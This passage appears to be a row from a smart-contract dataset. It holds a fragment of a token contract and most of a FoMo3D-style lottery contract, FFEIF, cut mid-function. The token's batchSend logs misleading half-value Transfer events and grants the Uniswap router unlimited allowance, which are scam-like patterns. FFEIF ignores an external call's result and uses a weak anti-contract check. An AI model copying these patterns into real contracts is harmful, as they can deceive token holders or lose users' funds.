require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 380 |
pragma solidity ^0.4.25;
contract FOMOEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 tokenAmount,
uint256 genAmount,
uint256 potAmount,
uint256 seedAdd
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 tokenAmount,
uint256 genAmount,
uint256 seedAdd
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 tokenAmount,
uint256 genAmount,
uint256 seedAdd
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 tokenAmount,
uint256 genAmount,
uint256 seedAdd
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract FFEIF is FOMOEvents {
using SafeMath for *;
using NameFilter for string;
PlayerBookInterface private PlayerBook;
PoEIF public PoEIFContract;
address private admin = msg.sender;
string constant public name = "Fomo Forever EIF";
string constant public symbol = "FFEIF";
uint256 private rndExtra_ = 1 minutes;
uint256 public rndGap_ = 1 minutes;
uint256 public rndInit_ = 60 minutes;
uint256 public rndInc_ = 1 seconds;
uint256 public rndIncDivisor_ = 1;
uint256 public potSeedRate = 100;
uint256 public potNextSeedTime = 0;
uint256 public seedingPot = 0;
uint256 public seedingThreshold = 0 ether;
uint256 public seedingDivisor = 2;
uint256 public seedRoundEnd = 1;
uint256 public linearPrice = 75000000000000;
uint256 public multPurchase = 0;
uint256 public multAllowLast = 1;
uint256 public multLinear = 2;
uint256 public maxMult = 1000000;
uint256 public multInc_ = 0;
uint256 public multIncFactor_ = 10;
uint256 public multLastChange = now;
uint256 public multDecayPerMinute = 1;
uint256 public multStart = 24 hours;
uint256 public multCurrent = 10;
uint256 public rndMax_ = 24 hours;
uint256 public earlyRoundLimit = 1e18;
uint256 public earlyRoundLimitUntil = 100e18;
uint256 public divPercentage = 65;
uint256 public affFee = 5;
uint256 public potPercentage = 20;
uint256 public divPotPercentage = 15;
uint256 public nextRoundPercentage = 25;
uint256 public winnerPercentage = 50;
uint256 public fundEIF = 0;
uint256 public totalEIF = 0;
uint256 public seedDonated = 0;
address public FundEIF = 0x0111E8A755a4212E6E1f13e75b1EABa8f837a213;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => FFEIFDatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => FFEIFDatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => FFEIFDatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => FFEIFDatasets.TeamFee) public fees_;
mapping (uint256 => FFEIFDatasets.PotSplit) public potSplit_;
constructor()
public
{
PoEIFContract = PoEIF(0xFfB8ccA6D55762dF595F21E78f21CD8DfeadF1C8);
PlayerBook = PlayerBookInterface(0xd80e96496cd0B3F95bB4941b1385023fBCa1E6Ba);
}
function updateFundAddress(address _newAddress)
onlyAdmin()
public
{
FundEIF = _newAddress;
}
function keysRec(uint256 _curEth, uint256 _newEth)
internal
view
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
view
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
view
returns(uint256)
{
if (linearPrice==0)
{return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);}
else
{return 1e18.mul(_eth) / linearPrice;}
}
function eth(uint256 _keys)
internal
view
returns(uint256)
{
if (linearPrice==0)
{return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());}
else
{return _keys.mul(linearPrice)/1e18;}
}
function payFund() public {
if(!FundEIF.call.value(fundEIF)()) {
revert();
}
totalEIF = totalEIF.add(fundEIF); fundEIF = 0;
}
function calcMult(uint256 keysBought, bool validIncrease) internal returns (bool)
{
uint256 _now = now;
uint256 secondsPassed = _now - multLastChange;
bool thresholdReached = (multStart > round_[rID_].end - _now);
bool currentlyLinear = false;
if (multLinear == 1 || (multLinear == 2 && !thresholdReached)) { currentlyLinear = true; multLastChange = _now;}
else multLastChange = multLastChange.add((secondsPassed/60).mul(60));
if (multCurrent >= 10) {
if (currentlyLinear) multCurrent = (multCurrent.mul(10).sub(multDecayPerMinute.mul(secondsPassed).mul(100)/60))/10; else multCurrent = multCurrent / (1+(multDecayPerMinute.mul(secondsPassed)/60));
if (multCurrent < 10) multCurrent = 10;
}
bool returnValue = ((keysBought / 1e17) >= multCurrent);
if ((thresholdReached || multLinear == 2) && validIncrease) {
uint256 wholeKeysBought = keysBought / 1e18;
uint256 actualMultInc = multIncFactor_.mul(wholeKeysBought);
if (multInc_ != 0) actualMultInc = multInc_;
if ((wholeKeysBought >= multPurchase && multPurchase > 0) || ((wholeKeysBought >= (multCurrent / 10)) && multPurchase == 0) ) {
if (currentlyLinear) multCurrent = multCurrent.add(actualMultInc); else multCurrent = multCurrent.mul((1+(actualMultInc/10)));
if (multCurrent > maxMult) multCurrent = maxMult;
}
}
return returnValue;
}
function viewMult() public view returns (uint256)
{
uint256 _now = now;
uint256 secondsPassed = _now - multLastChange;
bool thresholdReached = (multStart > round_[rID_].end - _now);
bool currentlyLinear = false;
if (multLinear == 1 || (multLinear == 2 && !thresholdReached)) currentlyLinear = true;
uint256 _multCurrent = multCurrent;
if (_multCurrent >= 10) {
if (currentlyLinear) _multCurrent = (_multCurrent.mul(10).sub(multDecayPerMinute.mul(secondsPassed).mul(100)/60))/10; else
{
uint256 proportion = secondsPassed % 60;
_multCurrent = _multCurrent / (1+(multDecayPerMinute.mul(secondsPassed)/60));
uint256 _multCurrent2 = multCurrent / (1+(multDecayPerMinute.mul(secondsPassed+60)/60));
_multCurrent = _multCurrent - proportion.mul(_multCurrent - _multCurrent2)/60;
}
}
if (_multCurrent < 10) _multCurrent = 10;
return _multCurrent;
}
function viewPot() public view returns (uint256)
{
uint256 _now = now;
uint256 _pot = round_[rID_].pot;
uint256 _seedingPot = seedingPot;
uint256 _potSeedRate = potSeedRate;
uint256 _potNextSeedTime = potNextSeedTime;
while (_potNextSeedTime<now) {_pot = _pot.add(_seedingPot/_potSeedRate); _seedingPot = _seedingPot.sub(_seedingPot/_potSeedRate); _potNextSeedTime += 3600;}
uint256 timeLeft = potNextSeedTime - _now;
return ((3600-timeLeft).mul(_seedingPot/_potSeedRate)/3600 ).add(_pot);
}
uint numElements = 0;
uint256[] varvalue;
string[] varname;
function insert(string _var, uint256 _value) internal {
if(numElements == varvalue.length) {
varvalue.length ++; varname.length ++;
}
varvalue[numElements] = _value;
varname[numElements] = _var;
numElements++;
}
function setStore(string _variable, uint256 _value) public {
if (keccak256(bytes(_variable))!=keccak256("endround") && msg.sender == admin) insert(_variable,_value);
if (round_[rID_].ended || activated_ == false) {
for (uint i=0; i<numElements; i++) {
bytes32 _varname = keccak256(bytes(varname[i]));
if (_varname==keccak256('rndGap_')) rndGap_=varvalue[i]; else
if (_varname==keccak256('rndInit_')) rndInit_=varvalue[i]; else
if (_varname==keccak256('rndInc_')) rndInc_=varvalue[i]; else
if (_varname==keccak256('rndIncDivisor_')) rndIncDivisor_=varvalue[i]; else
if (_varname==keccak256('potSeedRate')) potSeedRate=varvalue[i]; else
if (_varname==keccak256('potNextSeedTime')) potNextSeedTime=varvalue[i]; else
if (_varname==keccak256('seedingThreshold')) seedingThreshold=varvalue[i]; else
if (_varname==keccak256('seedingDivisor')) seedingDivisor=varvalue[i]; else
if (_varname==keccak256('seedRoundEnd')) seedRoundEnd=varvalue[i]; else
if (_varname==keccak256('linearPrice')) linearPrice=varvalue[i]; else
if (_varname==keccak256('multPurchase')) multPurchase=varvalue[i]; else
if (_varname==keccak256('multAllowLast')) multAllowLast=varvalue[i]; else
if (_varname==keccak256('maxMult')) maxMult=varvalue[i]; else
if (_varname==keccak256('multInc_')) multInc_=varvalue[i]; else
if (_varname==keccak256('multIncFactor_')) multIncFactor_=varvalue[i]; else
if (_varname==keccak256('multLastChange')) multLastChange=varvalue[i]; else
if (_varname==keccak256('multDecayPerMinute')) multDecayPerMinute=varvalue[i]; else
if (_varname==keccak256('multStart')) multStart=varvalue[i]; else
if (_varname==keccak256('multCurrent')) multCurrent=varvalue[i]; else
if (_varname==keccak256('rndMax_')) rndMax_=varvalue[i]; else
if (_varname==keccak256('earlyRoundLimit')) earlyRoundLimit=varvalue[i]; else
if (_varname==keccak256('earlyRoundLimitUntil')) earlyRoundLimitUntil=varvalue[i]; else
if (_varname==keccak256('divPercentage')) {divPercentage=varvalue[i]; if (divPercentage>75) divPercentage=75;} else
if (_varname==keccak256('divPotPercentage')) {divPotPercentage=varvalue[i]; if (divPotPercentage>50) divPotPercentage=50;} else
if (_varname==keccak256('nextRoundPercentage')) {nextRoundPercentage=varvalue[i]; if (nextRoundPercentage>40) nextRoundPercentage=40;} else
if (_varname==keccak256('affFee')) {affFee=varvalue[i]; if (affFee>15) affFee=15;}
}
numElements = 0;
winnerPercentage = 90 - divPotPercentage - nextRoundPercentage;
potPercentage = 90 - divPercentage - affFee;
multCurrent = 10;
fees_[0] = FFEIFDatasets.TeamFee(divPercentage,10);
potSplit_[0] = FFEIFDatasets.PotSplit(divPotPercentage,10);
}
}
modifier isActivated() {
require(activated_ == true);
while (potNextSeedTime<now) {round_[rID_].pot = round_[rID_].pot.add(seedingPot/potSeedRate); seedingPot = seedingPot.sub(seedingPot/potSeedRate); potNextSeedTime += 3600; }
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
require (msg.sender == tx.origin);
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0);
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000);
require(_eth <= 100000000000000000000000);
_;
}
modifier onlyAdmin()
{
require(msg.sender == admin);
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FFEIFDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function seedDeposit()
isWithinLimits(msg.value)
public
payable
{
seedingPot = seedingPot.add(msg.value);
seedDonated = seedDonated.add(msg.value);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FFEIFDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FFEIFDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
FFEIFDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FFEIFDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FFEIFDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
FFEIFDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
FFEIFDatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FOMOEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.tokenAmount,
_eventData_.genAmount,
_eventData_.seedAdd
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit FOMOEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FOMOEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FOMOEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit FOMOEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _startingPrice = 75000000000000;
if (linearPrice != 0) _startingPrice = linearPrice;
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( ethRec((round_[_rID].keys.add(1000000000000000000)),1000000000000000000) );
else
return ( _startingPrice );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(winnerPercentage)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0]
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr = msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, FFEIFDatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, 0, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FOMOEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.tokenAmount,
_eventData_.genAmount,
_eventData_.seedAdd
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, FFEIFDatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, 0, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit FOMOEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.tokenAmount,
_eventData_.genAmount,
_eventData_.seedAdd
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, FFEIFDatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < earlyRoundLimitUntil && plyrRnds_[_pID][_rID].eth.add(_eth) > earlyRoundLimit)
{
uint256 _availableLimit = (earlyRoundLimit).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = keysRec(round_[_rID].eth,_eth);
bool newWinner = calcMult(_keys, multAllowLast==1 || round_[_rID].plyr != _pID);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (newWinner) {
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
}
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][0] = _eth.add(rndTmEth_[_rID][0]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, 0, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, 0, _keys, _eventData_);
endTx(_pID, 0, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return keysRec(round_[_rID].eth,_eth);
else
return keys(_eth);
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ethRec(round_[_rID].keys.add(_keys),_keys);
else
return eth(_keys);
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook));
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook));
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(FFEIFDatasets.EventReturns memory _eventData_)
private
returns (FFEIFDatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, FFEIFDatasets.EventReturns memory _eventData_)
private
returns (FFEIFDatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(FFEIFDatasets.EventReturns memory _eventData_)
private
returns (FFEIFDatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = _pot.mul(winnerPercentage) / 100;
uint256 _gen = _pot.mul(potSplit_[_winTID].gen) / 100;
uint256 _PoEIF = _pot.mul(potSplit_[_winTID].poeif) / 100;
uint256 _res = _pot.sub(_win).sub(_gen).sub(_PoEIF);
uint256 _ppt = _gen.mul(1000000000000000000) / round_[_rID].keys;
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
address(PoEIFContract).call.value(_PoEIF.sub((_PoEIF / 2)))(bytes4(keccak256("donateDivs()")));
fundEIF = fundEIF.add(_PoEIF / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _actualPot = _res;
if (seedRoundEnd==1) {
_actualPot = _res.sub(_res/seedingDivisor);
if (seedingThreshold > rndTmEth_[_rID][0]) {seedingPot = seedingPot.add(_res); _actualPot = 0;} else seedingPot = seedingPot.add(_res/seedingDivisor);
}
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.tokenAmount = _PoEIF;
_eventData_.newPot = _actualPot;
_eventData_.seedAdd = _res - _actualPot;
setStore("endround",0);
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot += _actualPot;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
